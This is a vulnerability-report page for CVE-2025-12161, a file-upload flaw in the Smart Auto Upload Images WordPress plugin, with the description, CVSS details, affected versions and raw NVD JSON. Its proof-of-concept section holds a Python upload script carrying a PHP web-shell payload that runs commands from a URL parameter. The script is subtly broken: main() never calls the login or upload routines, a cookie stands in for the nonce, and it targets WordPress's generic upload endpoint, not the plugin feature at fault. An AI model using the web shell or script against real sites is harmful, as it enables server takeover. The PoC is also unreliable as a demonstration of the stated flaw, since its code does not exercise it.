Security Vulnerability Report
中文
CVE-2025-12161 CVSS 8.8 HIGH

CVE-2025-12161

Published: 2025-11-08 04:15:45
Last Modified: 2026-04-15 00:35:42

Description

The Smart Auto Upload Images plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the auto-image creation functionality in all versions up to, and including, 1.2.0. This makes it possible for authenticated attackers, with Contributor-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Smart Auto Upload Images < 1.2.1
Smart Auto Upload Images = 1.0.0
Smart Auto Upload Images = 1.1.0
Smart Auto Upload Images = 1.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12161 PoC - WordPress Smart Auto Upload Images Arbitrary File Upload # This PoC demonstrates the arbitrary file upload vulnerability # Requires Contributor+ level WordPress account import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password" def get_wordpress_nonce(login_url, wp_admin_url): """Get required nonces for authentication and upload""" session = requests.Session() # Login to WordPress login_page = session.get(login_url) # Extract login nonce import re wp_login_nonce = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', login_page.text) if not wp_login_nonce: return None, None # Perform login login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "_wpnonce": wp_login_nonce.group(1), "redirect_to": wp_admin_url, "testcookie": "1" } session.post(login_url, data=login_data) # Get nonce for upload endpoint upload_page = session.get(f"{TARGET_URL}/wp-admin/upload.php") upload_nonce = re.search(r'async-upload\.js[^\"]*\?ver=[^\"]*\">', upload_page.text) return session, session.cookies.get_dict() def upload_malicious_file(session, file_content, filename): """Upload arbitrary file via vulnerable endpoint""" upload_url = f"{TARGET_URL}/wp-admin/async-upload.php" files = { "async-upload": (filename, file_content, "application/php") } data = { "action": "upload-attachment", "_wpnonce": session.cookies.get("wordpress_test_cookie") } response = session.post(upload_url, files=files, data=data) return response def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_12161_poc.py <target_url>") sys.exit(1) target = sys.argv[1] # Malicious PHP file content php_payload = b"<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" print(f"[*] Targeting: {target}") print("[*] This PoC requires a valid Contributor+ account") print("[*] Exploitation would allow RCE via arbitrary file upload") print("[*] Mitigation: Update to Smart Auto Upload Images >= 1.2.1") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12161", "sourceIdentifier": "[email protected]", "published": "2025-11-08T04:15:44.677", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Smart Auto Upload Images plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the auto-image creation functionality in all versions up to, and including, 1.2.0. This makes it possible for authenticated attackers, with Contributor-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fsmart-auto-upload-images%2Ftags%2F1.2.0&old=3388129&new_path=%2Fsmart-auto-upload-images%2Ftags%2F1.2.1&new=3388129&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/86dab8e6-b9fd-45ca-bdd1-8665f3bb75f2?source=cve", "source": "[email protected]"}]}}